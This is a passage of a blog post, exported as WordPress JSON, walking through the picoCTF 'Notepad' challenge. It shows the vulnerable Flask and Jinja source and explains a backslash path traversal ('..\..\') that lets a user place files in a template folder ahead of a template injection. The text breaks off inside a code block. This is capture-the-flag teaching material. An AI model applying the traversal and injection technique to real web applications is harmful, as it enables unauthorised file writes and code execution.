{"id":301,"date":"2025-12-28T17:41:45","date_gmt":"2025-12-28T17:41:45","guid":{"rendered":"https:\/\/thered0ne.com\/?p=301"},"modified":"2025-12-29T17:46:00","modified_gmt":"2025-12-29T17:46:00","slug":"picoctf-notepad","status":"publish","type":"post","link":"https:\/\/thered0ne.com\/?p=301","title":{"rendered":"PicoCTF &#8211; Notepad"},"content":{"rendered":"<div class=\"wp-block-image is-style-rounded\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"584\" height=\"584\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/Screenshot-2025-12-12-132117.png\" alt=\"\" class=\"wp-image-302\" style=\"width:439px;height:auto\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/Screenshot-2025-12-12-132117.png 584w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/Screenshot-2025-12-12-132117-300x300.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/Screenshot-2025-12-12-132117-150x150.png 150w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/Screenshot-2025-12-12-132117-160x160.png 160w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">Introduction:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Hi Hackers,<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It\u2019s been a minute\u2026 hmm, actually, more like a year or so, but who\u2019s remembering? My blog has been sitting here collecting dust as f**k like an old book you swear you\u2019ll read it tomorrow. Well, today\u2019s is the day and I&#8217;ve got a new article for you \ud83e\udd73<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To get back into the rhythm, I decided to warm up with a fun <strong>picoCTF<\/strong> challenge called <strong>Notepad<\/strong>. In this article, I\u2019ll share my full methodology and how I managed to solve it, with all the little discoveries along the way.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s dust off this blog and jump right in!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">The challenge:<\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"309\" height=\"118\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image.png\" alt=\"\" class=\"wp-image-304\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image.png 309w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-300x115.png 300w\" sizes=\"auto, (max-width: 309px) 100vw, 309px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Super simple ! you have to write something and submit it. What it does, it generates a file containing the content you submitted and it redirects you to it. The difficulty mentioned for this challenge is HARD and the only hint is &#8220;<em>This note-taking site seems a bit off.<\/em>&#8220;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The funny thing is, when I solved the challenge and read the available write-ups, my approach was kind of weird. I took another path totally different. I used my modest knowledge in SSTI (Server Side Template Injection) and tried to find a way to get the flag. My solution is a little bit long and complicated but that was really worth it ! \ud83e\udd13<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Source code<\/h2>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>from werkzeug.urls import url_fix\nfrom secrets import token_urlsafe\nfrom flask import Flask, request, render_template, redirect, url_for\n\napp = Flask(__name__)\n\n@app.route(\"\/\")\ndef index():\n    return render_template(\"index.html\", error=request.args.get(\"error\"))\n\n@app.route(\"\/new\", methods=&#91;\"POST\"&#93;)\ndef create():\n    content = request.form.get(\"content\", \"\")\n    if \"_\" in content or \"\/\" in content:\n        return redirect(url_for(\"index\", error=\"bad_content\"))\n    if len(content) > 512:\n        return redirect(url_for(\"index\", error=\"long_content\", len=len(content)))\n    name = f\"static\/{url_fix(content&#91;:128&#93;)}-{token_urlsafe(8)}.html\"\n    print(name)\n    with open(name, \"w\") as f:\n        f.write(content)\n    return redirect(name)\n\nif __name__ == \"__main__\":\n    app.run(debug=True)<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F92672\">from<\/span><span style=\"color: #F8F8F2\"> werkzeug.urls <\/span><span style=\"color: #F92672\">import<\/span><span style=\"color: #F8F8F2\"> url_fix<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">from<\/span><span style=\"color: #F8F8F2\"> secrets <\/span><span style=\"color: #F92672\">import<\/span><span style=\"color: #F8F8F2\"> token_urlsafe<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">from<\/span><span style=\"color: #F8F8F2\"> flask <\/span><span style=\"color: #F92672\">import<\/span><span style=\"color: #F8F8F2\"> Flask, request, render_template, redirect, url_for<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">app <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> Flask(__name__)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">@app.route<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;\/&quot;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">index<\/span><span style=\"color: #F8F8F2\">():<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> render_template(<\/span><span style=\"color: #E6DB74\">&quot;index.html&quot;<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">error<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\">request.args.get(<\/span><span style=\"color: #E6DB74\">&quot;error&quot;<\/span><span style=\"color: #F8F8F2\">))<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">@app.route<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;\/new&quot;<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">methods<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\">&#91;<\/span><span style=\"color: #E6DB74\">&quot;POST&quot;<\/span><span style=\"color: #F8F8F2\">&#93;)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">create<\/span><span style=\"color: #F8F8F2\">():<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    content <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> request.form.get(<\/span><span style=\"color: #E6DB74\">&quot;content&quot;<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #E6DB74\">&quot;&quot;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&quot;_&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> content <\/span><span style=\"color: #F92672\">or<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&quot;\/&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> content:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> redirect(url_for(<\/span><span style=\"color: #E6DB74\">&quot;index&quot;<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">error<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">&quot;bad_content&quot;<\/span><span style=\"color: #F8F8F2\">))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF\">len<\/span><span style=\"color: #F8F8F2\">(content) <\/span><span style=\"color: #F92672\">&gt;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">512<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> redirect(url_for(<\/span><span style=\"color: #E6DB74\">&quot;index&quot;<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">error<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">&quot;long_content&quot;<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">len<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #66D9EF\">len<\/span><span style=\"color: #F8F8F2\">(content)))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    name <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF; font-style: italic\">f<\/span><span style=\"color: #E6DB74\">&quot;static\/<\/span><span style=\"color: #AE81FF\">{<\/span><span style=\"color: #F8F8F2\">url_fix(content&#91;:<\/span><span style=\"color: #AE81FF\">128<\/span><span style=\"color: #F8F8F2\">&#93;)<\/span><span style=\"color: #AE81FF\">}<\/span><span style=\"color: #E6DB74\">-<\/span><span style=\"color: #AE81FF\">{<\/span><span style=\"color: #F8F8F2\">token_urlsafe(<\/span><span style=\"color: #AE81FF\">8<\/span><span style=\"color: #F8F8F2\">)<\/span><span style=\"color: #AE81FF\">}<\/span><span style=\"color: #E6DB74\">.html&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #66D9EF\">print<\/span><span style=\"color: #F8F8F2\">(name)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">with<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF\">open<\/span><span style=\"color: #F8F8F2\">(name, <\/span><span style=\"color: #E6DB74\">&quot;w&quot;<\/span><span style=\"color: #F8F8F2\">) <\/span><span style=\"color: #F92672\">as<\/span><span style=\"color: #F8F8F2\"> f:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        f.write(content)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> redirect(name)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> __name__ <\/span><span style=\"color: #F92672\">==<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&quot;__main__&quot;<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    app.run(<\/span><span style=\"color: #FD971F; font-style: italic\">debug<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #AE81FF\">True<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">As you can see, this is a Flask app. Nothing special. The &#8216;\/&#8217; and &#8216;_&#8217; are blocked. The filename that will be created is the first 128 character. It creates that filename and write the content in it.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">The vulnerability:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In any hacking activity, the first step is always to do<strong> Reconnaissance<\/strong>, understanding how the application behaves so you can spot potential attack vectors. In this challenge, whenever a new file is created, the application automatically <strong>redirects us to that file<\/strong>. But if the file\u2019s content contains forbidden characters (specifically <code>'\/'<\/code> or <code>'_'<\/code>), the app instead redirects to the <strong>bad_content<\/strong> page.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This <strong><em>bad_content<\/em> <\/strong>is just an html page that contains only plain text. In that template folder there an <em><strong>index.html <\/strong><\/em>that will include <em><strong>bad_page <\/strong><\/em>stored under <code>templates\/errors<\/code>. In fact, the application has <strong>two error templates<\/strong> there: <code>bad_content.html<\/code> and <code>long_content.html<\/code>. When something goes wrong, the main <code>index.html<\/code> template includes one of these error pages and displays it to the user.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>&lt;!doctype html>\n{% if error is not none %}\n  &lt;h3>\n    error: {{ error }}\n  &lt;\/h3>\n  {% include \"errors\/\" + error + \".html\" ignore missing %}\n{% endif %}\n&lt;h2>make a new note&lt;\/h2>\n&lt;form action=\"\/new\" method=\"POST\">\n  &lt;textarea name=\"content\">&lt;\/textarea>\n  &lt;input type=\"submit\">\n&lt;\/form>\n<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">&lt;!<\/span><span style=\"color: #F92672\">doctype<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">html<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">{% if error is not none %}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  &lt;<\/span><span style=\"color: #F92672\">h3<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    error: {{ error }}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  &lt;\/<\/span><span style=\"color: #F92672\">h3<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  {% include &quot;errors\/&quot; + error + &quot;.html&quot; ignore missing %}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">{% endif %}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">h2<\/span><span style=\"color: #F8F8F2\">&gt;make a new note&lt;\/<\/span><span style=\"color: #F92672\">h2<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">form<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">action<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;\/new&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">method<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;POST&quot;<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  &lt;<\/span><span style=\"color: #F92672\">textarea<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">name<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;content&quot;<\/span><span style=\"color: #F8F8F2\">&gt;&lt;\/<\/span><span style=\"color: #F92672\">textarea<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  &lt;<\/span><span style=\"color: #F92672\">input<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">type<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;submit&quot;<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;\/<\/span><span style=\"color: #F92672\">form<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">When we see that sort of code, the first that comes to mind is <strong>SSTI (Server Side Template Injection<\/strong>). Pretty obvious Hein\ud83e\uddd0 ? <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So let&#8217;s think like a hacker, the app is generating files, so the Open() function could use a relative or absolute path, the question is could we put that file in another place ? Even if the &#8216;\/&#8217; is not allowed ? The answer is yes since the character &#8220;\/&#8221; (slash) is forbidden and the &#8220;\\&#8221; (Backslash) is the one forgotten that will let us perform a path traversal by putting the file in a place other than &#8216;static&#8217; folder.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>if \"_\" in content or \"\/\" in content:\n        return redirect(url_for(\"index\", error=\"bad_content\"))<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&quot;_&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> content <\/span><span style=\"color: #F92672\">or<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&quot;\/&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> content:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> redirect(url_for(<\/span><span style=\"color: #E6DB74\">&quot;index&quot;<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">error<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">&quot;bad_content&quot;<\/span><span style=\"color: #F8F8F2\">))<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">P.S: <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">I saw many articles saying that the backslash normalization is done by &#8220;<strong>url_fix<\/strong>&#8220;function which is wrong. The normalization is made by an internal function in &#8220;<strong>werkzeug<\/strong>&#8220;. In Flask when you send &#8220;..\\..\\&#8221;it will become &#8220;..\/..\/&#8221; and is performed internally by a function called &#8220;<strong>url_unquote<\/strong>()&#8221;. Whether in Linux or Windows this will be normalized and this is where the vulnerability reside.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Attack scenario<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">What we understood until now is the file could be placed in another folder. How to do it ? Easy like that :<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"541\" height=\"351\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-3.png\" alt=\"\" class=\"wp-image-308\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-3.png 541w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-3-300x195.png 300w\" sizes=\"auto, (max-width: 541px) 100vw, 541px\" \/><figcaption class=\"wp-element-caption\">Submit path traversal<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"136\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-2-1024x136.png\" alt=\"\" class=\"wp-image-307\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-2-1024x136.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-2-300x40.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-2-768x102.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-2.png 1148w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Not found because template in Flask cannot be served by design<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"622\" height=\"210\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-1.png\" alt=\"\" class=\"wp-image-306\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-1.png 622w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-1-300x101.png 300w\" sizes=\"auto, (max-width: 622px) 100vw, 622px\" \/><figcaption class=\"wp-element-caption\">The file was created.<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The application cannot redirect us to the file created because it not created in static folder but was moved to &#8220;templates\/errors&#8221; folder.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The question that comes after how to show the content of that file in our browser ?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As you know we can&#8217;t access the file directly since the Flask doesn&#8217;t serve templates folder from the browser.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">SSTI Attack<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">So let&#8217;s explore more what this app offers. If we submit the &#8220;_&#8221; character we got this error:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"590\" height=\"253\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-6.png\" alt=\"\" class=\"wp-image-312\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-6.png 590w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-6-300x129.png 300w\" sizes=\"auto, (max-width: 590px) 100vw, 590px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Hey did you see what I see ? it seems <strong>bad_content <\/strong>is included somehow in this main page. If you remember in the code above this line precisely:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" 